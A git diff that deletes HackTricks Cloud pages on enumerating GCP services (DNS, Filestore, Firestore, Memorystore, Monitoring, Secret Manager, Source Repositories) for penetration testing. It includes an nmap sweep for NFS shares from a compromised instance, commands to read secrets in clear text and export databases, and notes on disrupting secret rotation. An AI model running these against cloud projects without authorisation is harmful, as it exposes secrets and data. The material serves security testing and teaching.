-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-services/gcp-dns-enum.md b/pentesting-cloud/gcp-security/gcp-services/gcp-dns-enum.md
deleted file mode 100644
index 136c2dcce..000000000
--- a/pentesting-cloud/gcp-security/gcp-services/gcp-dns-enum.md
+++ /dev/null
@@ -1,51 +0,0 @@
-# GCP - DNS Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## GCP - Cloud DNS
-
-Google Cloud DNS is a high-performance, resilient, global Domain Name System (DNS) service.
-
-```bash
-# This will usually error if DNS service isn't configured in the project
-gcloud dns project-info describe <project>
-
-# Get DNS zones & records
-gcloud dns managed-zones list
-gcloud dns managed-zones describe <zone>
-gcloud dns record-sets list --zone <zone> # Get record of the zone
-
-# Policies
-## A response policy is a collection of selectors that apply to queries made against one or more virtual private cloud networks. 
-gcloud dns response-policies list
-## DNS policies control internal DNS server settings. You can apply policies to DNS servers on Google Cloud Platform VPC networks you have access to.
-gcloud dns policies list
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-services/gcp-filestore-enum.md b/pentesting-cloud/gcp-security/gcp-services/gcp-filestore-enum.md
deleted file mode 100644
index d60c12b00..000000000
--- a/pentesting-cloud/gcp-security/gcp-services/gcp-filestore-enum.md
+++ /dev/null
@@ -1,105 +0,0 @@
-# GCP - Filestore Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Basic Information
-
-Google Cloud Filestore is a **managed file storage service** tailored for applications in need of both a **filesystem interface and a shared filesystem for data**. This service excels by offering high-performance file shares, which can be integrated with various GCP services. Its utility shines in scenarios where traditional file system interfaces and semantics are crucial, such as in media processing, content management, and the backup of databases.
-
-You can think of this like any other **NFS** **shared document repository -** a potential source of sensitive info.
-
-### Connections
-
-When creating a Filestore instance it's possible to **select the network where it's going to be accessible**.
-
-Moreover, by **default all clients on the selected VPC network and region are going to be able to access it**, however, it's possible to **restrict the access also by IP address** or range and indicate the access privilege (Admin, Admin Viewer, Editor, Viewer) user the client is going to get **depending on the IP address.**
-
-It can also be accessible via a **Private Service Access Connection:**
-
-* Are per VPC network and can be used across all managed services such as Memorystore, Tensorflow and SQL.
-* Are **between your VPC network and network owned by Google using a VPC peering**, enabling your instances and services to communicate exclusively by **using internal IP addresses**.
-* Create an isolated project for you on the service-producer side, meaning no other customers share it. You will be billed for only the resources you provision.
-* The VPC peering will import new routes to your VPC
-
-### Backups
-
-It's possible to create **backups of the File shares**. These can be later **restored in the origin** new Fileshare instance or in **new ones**.
-
-### Encryption
-
-By default a **Google-managed encryption key** will be used to encrypt the data, but it's possible to select a **Customer-managed encryption key (CMEK)**.
-
-### Enumeration
-
-If you find a filestore available in the project, you can **mount it** from within your compromised Compute Instance. Use the following command to see if any exist.
-
-{% code overflow="wrap" %}
-```bash
-# Instances
-gcloud filestore instances list # Check the IP address
-gcloud filestore instances describe --zone <zone> <name> # Check IP and access restrictions
-
-# Backups
-gcloud filestore backups list
-gcloud filestore backups describe --region <region> <backup>
-
-# Search for NFS shares in a VPC subnet
-sudo nmap -n -T5 -Pn -p 2049 --min-parallelism 100 --min-rate 1000 --open 10.99.160.2/20
-```
-{% endcode %}
-
-{% hint style="danger" %}
-Note that a filestore service might be in a **completely new subnetwork created for it** (inside a Private Service Access Connection, which is a **VPC peer**).\
-So you might need to **enumerate VPC peers** to also run nmap over those network ranges.
-
-{% code overflow="wrap" %}
-```bash
-# Get peerings
-gcloud compute networks peerings list
-# Get routes imported from a peering
-gcloud compute networks peerings list-routes <peering-name> --network=<network-name> --region=<region> --direction=INCOMING
-```
-{% endcode %}
-{% endhint %}
-
-### Privilege Escalation & Post Exploitation
-
-There aren't ways to escalate privileges in GCP directly abusing this service, but using some **Post Exploitation tricks it's possible to get access to the data** and maybe you can find some credentials to escalate privileges:
-
-{% content-ref url="../gcp-post-exploitation/gcp-filestore-post-exploitation.md" %}
-[gcp-filestore-post-exploitation.md](../gcp-post-exploitation/gcp-filestore-post-exploitation.md)
-{% endcontent-ref %}
-
-### Persistence
-
-{% content-ref url="../gcp-persistence/gcp-filestore-persistence.md" %}
-[gcp-filestore-persistence.md](../gcp-persistence/gcp-filestore-persistence.md)
-{% endcontent-ref %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-services/gcp-firestore-enum.md b/pentesting-cloud/gcp-security/gcp-services/gcp-firestore-enum.md
deleted file mode 100644
index 4eb8b93c3..000000000
--- a/pentesting-cloud/gcp-security/gcp-services/gcp-firestore-enum.md
+++ /dev/null
@@ -1,43 +0,0 @@
-# GCP - Firestore Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## [Cloud Firestore](https://cloud.google.com/sdk/gcloud/reference/firestore/)
-
-Cloud Firestore, provided by Firebase and Google Cloud, is a **database that is both scalable and flexible, catering to mobile, web, and server development needs**. Its functionalities are akin to those of Firebase Realtime Database, ensuring data synchronization across client applications with realtime listeners. A significant feature of Cloud Firestore is its support for offline operations on mobile and web platforms, enhancing app responsiveness even in conditions of high network latency or absence of internet connection. Moreover, it is designed to integrate smoothly with other products from Firebase and Google Cloud, such as Cloud Functions.
-
-```bash
-gcloud firestore indexes composite list
-gcloud firestore indexes composite describe <index>
-gcloud firestore indexes fields list
-gcloud firestore indexes fields describe <name>
-gcloud firestore export gs://my-source-project-export/export-20190113_2109 --collection-ids='cameras','radios'
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-services/gcp-memorystore-enum.md b/pentesting-cloud/gcp-security/gcp-services/gcp-memorystore-enum.md
deleted file mode 100644
index 169225779..000000000
--- a/pentesting-cloud/gcp-security/gcp-services/gcp-memorystore-enum.md
+++ /dev/null
@@ -1,47 +0,0 @@
-# GCP - Memorystore Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Memorystore
-
-Reduce latency with scalable, secure, and highly available in-memory service for [**Redis**](https://cloud.google.com/sdk/gcloud/reference/redis) and [**Memcached**](https://cloud.google.com/sdk/gcloud/reference/memcache). Learn more.
-
-```bash
-# Memcache
-gcloud memcache instances list --region <region>
-gcloud memcache instances describe <INSTANCE> --region <region>
-# You should try to connect to the memcache instances to access the data
-
-# Redis
-gcloud redis instances list --region <region>
-gcloud redis instances describe <INSTACE> --region <region>
-gcloud redis instances export gs://my-bucket/my-redis-instance.rdb my-redis-instance --region=us-central1
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-services/gcp-monitoring-enum.md b/pentesting-cloud/gcp-security/gcp-services/gcp-monitoring-enum.md
deleted file mode 100644
index d19210668..000000000
--- a/pentesting-cloud/gcp-security/gcp-services/gcp-monitoring-enum.md
+++ /dev/null
@@ -1,85 +0,0 @@
-# GCP - Monitoring Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Basic Information
-
-Google Cloud Monitoring offers a suite of tools to **monitor**, troubleshoot, and improve the performance of your cloud resources. From a security perspective, Cloud Monitoring provides several features that are crucial for maintaining the security and compliance of your cloud environment:
-
-### Policies
-
-Policies **define conditions under which alerts are triggered and how notifications are sent**. They allow you to monitor specific metrics or logs, set thresholds, and determine where and how to send alerts (like email or SMS).
-
-### Dashboards
-
-Monitoring Dashboards in GCP are customizable interfaces for visualizing the **performance and status of cloud resources**. They offer real-time insights through charts and graphs, aiding in efficient system management and issue resolution.
-
-### Channels
-
-Different **channels** can be configured to **send alerts** through various methods, including **email**, **SMS**, **Slack**, and more.
-
-Moreover, when an alerting policy is created in Cloud Monitoring, it's possible to **specify one or more notification channels**.
-
-### Snoozers
-
-A snoozer will **prevent the indicated alert policies to generate alerts or send notifications** during the indicated snoozing period. Additionally, when a snooze is applied to a **metric-based alerting policy**, Monitoring proceeds to **resolve any open incidents** that are linked to that specific policy.
-
-### Enumeration
-
-{% code overflow="wrap" %}
-```bash
-# Get policies
-gcloud alpha monitoring policies list
-gcloud alpha monitoring policies describe <policy>
-
-# Get dashboards
-gcloud monitoring dashboards list
-gcloud monitoring dashboards describe <dashboard>
-
-# Get snoozers
-gcloud monitoring snoozes list
-gcloud monitoring snoozes describe <snoozer>
-
-# Get Channels
-gcloud alpha monitoring channels list
-gcloud alpha monitoring channels describe <channel>
-```
-{% endcode %}
-
-### Post Exploitation
-
-{% content-ref url="../gcp-post-exploitation/gcp-monitoring-post-exploitation.md" %}
-[gcp-monitoring-post-exploitation.md](../gcp-post-exploitation/gcp-monitoring-post-exploitation.md)
-{% endcontent-ref %}
-
-## References
-
-* [https://cloud.google.com/monitoring/alerts/manage-snooze#gcloud-cli](https://cloud.google.com/monitoring/alerts/manage-snooze#gcloud-cli)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-services/gcp-secrets-manager-enum.md b/pentesting-cloud/gcp-security/gcp-services/gcp-secrets-manager-enum.md
deleted file mode 100644
index 87ea24f72..000000000
--- a/pentesting-cloud/gcp-security/gcp-services/gcp-secrets-manager-enum.md
+++ /dev/null
@@ -1,79 +0,0 @@
-# GCP - Secrets Manager Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Secret Manager
-
-Google [**Secret Manager**](https://cloud.google.com/solutions/secrets-management/) is a vault-like solution for storing passwords, API keys, certificates, files (max 64KB) and other sensitive data.
-
-A secret can have **different versions storing different data**.
-
-Secrets by **default** are **encrypted using a Google managed key**, but it's **possible to select a key from KMS** to use to encrypt the secret.
-
-Regarding **rotation**, it's possible to configure **messages to be sent to pub-sub every number of days**, the code listening to those messages can **rotate the secret**.
-
-It's possible to configure a day for **automatic deletion**, when the indicated day is **reached**, the **secret will be automatically deleted**.
-
-### Enumeration
-
-```bash
-# First, list the entries
-gcloud secrets list
-gcloud secrets get-iam-policy <secret_name>
-
-# Then, pull the clear-text of any version of any secret
-gcloud secrets versions list <secret_name>
-gcloud secrets versions access 1 --secret="<secret_name>"
-```
-
-### Privilege Escalation
-
-In the following page you can check how to **abuse secretmanager permissions to escalate privileges.**
-
-{% content-ref url="../gcp-privilege-escalation/gcp-secretmanager-privesc.md" %}
-[gcp-secretmanager-privesc.md](../gcp-privilege-escalation/gcp-secretmanager-privesc.md)
-{% endcontent-ref %}
-
-### Post Exploitation
-
-{% content-ref url="../gcp-post-exploitation/gcp-secretmanager-post-exploitation.md" %}
-[gcp-secretmanager-post-exploitation.md](../gcp-post-exploitation/gcp-secretmanager-post-exploitation.md)
-{% endcontent-ref %}
-
-### Persistence
-
-{% content-ref url="../gcp-persistence/gcp-secret-manager-persistence.md" %}
-[gcp-secret-manager-persistence.md](../gcp-persistence/gcp-secret-manager-persistence.md)
-{% endcontent-ref %}
-
-### Rotation misuse
-
-An attacker could update the secret to **stop rotations** (so it won't be modified), or **make rotations much less often** (so the secret won't be modified) or to **publish the rotation message to a different pub/sub**, or modifying the rotation code being executed (this happens in a different service, probably in a Clound Function, so the attacker will need privileged access over the Cloud Function or any other service)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/gcp-security/gcp-services/gcp-source-repositories-enum.md b/pentesting-cloud/gcp-security/gcp-services/gcp-source-repositories-enum.md
deleted file mode 100644
index 764278cea..000000000
--- a/pentesting-cloud/gcp-security/gcp-services/gcp-source-repositories-enum.md
+++ /dev/null
@@ -1,95 +0,0 @@
-# GCP - Source Repositories Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Basic Information <a href="#reviewing-cloud-git-repositories" id="reviewing-cloud-git-repositories"></a>
-
-Google Cloud Source Repositories is a fully-featured, scalable, **private Git repository service**. It's designed to **host your source code in a fully managed environment**, integrating seamlessly with other GCP tools and services. It offers a collaborative and secure place for teams to store, manage, and track their code.
-
-Key features of Cloud Source Repositories include:
-
-1. **Fully Managed Git Hosting**: Offers the familiar functionality of Git, meaning you can use regular Git commands and workflows.
-2. **Integration with GCP Services**: Integrates with other GCP services like Cloud Build, Pub/Sub, and App Engine for end-to-end traceability from code to deployment.
-3. **Private Repositories**: Ensures your code is stored securely and privately. You can control access using Cloud Identity and Access Management (IAM) roles.
-4. **Source Code Analysis**: Works with other GCP tools to provide automated analysis of your source code, identifying potential issues like bugs, vulnerabilities, or bad coding practices.
-5. **Collaboration Tools**: Supports collaborative coding with tools like merge requests, comments, and reviews.
-6. **Mirror Support**: Allows you to connect Cloud Source Repositories with repositories hosted on GitHub or Bitbucket, enabling automatic synchronization and providing a unified view of all your repositories.
-
-### OffSec information <a href="#reviewing-cloud-git-repositories" id="reviewing-cloud-git-repositories"></a>
-
-* The source repositories configuration inside a project will have a **Service Account** used to publishing Cloud Pub/Sub messages. The default one used is the **Compute SA**. However, **I don't think it's possible steal its token** from Source Repositories as it's being executed in the background.
-* To see the code inside the GCP Cloud Source Repositories web console ([https://source.cloud.google.com/](https://source.cloud.google.com/)), you need the code to be **inside master branch by default**.
-* You can also **create a mirror Cloud Repository** pointing to a repo from **Github** or **Bitbucket** (giving access to those platforms).
-* It's possible to **code & debug from inside GCP**.
-* By default, Source Repositories **prevents private keys to be pushed in commits**, but this can be disabled.
-
-### Open In Cloud Shell
-
-It's possible to open the repository in Cloud Shell, a prompt like this one will appear:
-
-<figure><img src="../../../.gitbook/assets/image (325).png" alt=""><figcaption></figcaption></figure>
-
-This will allow you to code and debug in Cloud Shell (which could get cloudshell compromised).
-
-### Enumeration
-
-{% code overflow="wrap" %}
-```bash
-# Repos enumeration
-gcloud source repos list #Get names and URLs
-gcloud source repos describe <repo_name>
-gcloud source repos get-iam-policy <repo_name>
-
-# gcloud repo clone
-gcloud source repos clone <REPO NAME>
-gcloud source repos get-iam-policy <REPO NAME>
-... git add & git commit -m ...
-git push --set-upstream origin master
-git push -u origin master
-
-# Access via git
-## To add a SSH key go to https://source.cloud.google.com/user/ssh_keys (no gcloud command)
-git clone ssh://username@domain.com@source.developers.google.com:2022/p/<proj-name>/r/<repo-name>
-git add, commit, push...
-```
-{% endcode %}
-
-### Privilege Escalation & Post Exploitation
-
-{% content-ref url="../gcp-privilege-escalation/gcp-sourcerepos-privesc.md" %}
-[gcp-sourcerepos-privesc.md](../gcp-privilege-escalation/gcp-sourcerepos-privesc.md)
-{% endcontent-ref %}
-
-### Unauthenticated Enum
-
-{% content-ref url="../gcp-unauthenticated-enum-and-access/gcp-source-repositories-unauthenticated-enum.md" %}
-[gcp-source-repositories-unauthenticated-enum.md](../gcp-unauthenticated-enum-and-access/gcp-source-repositories-unauthenticated-enum.md)
-{% endcontent-ref %}
-
-{% hint style="success" %}
